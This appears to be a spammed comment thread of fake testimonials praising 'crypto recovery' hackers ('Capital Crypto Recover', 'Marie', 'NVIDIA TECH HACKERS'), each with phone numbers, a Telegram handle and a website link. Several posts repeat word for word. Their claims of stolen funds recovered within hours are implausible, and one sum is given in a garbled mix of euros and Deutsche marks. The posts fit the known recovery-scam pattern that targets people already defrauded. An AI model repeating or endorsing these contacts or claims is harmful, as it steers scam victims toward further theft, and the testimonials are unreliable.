Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1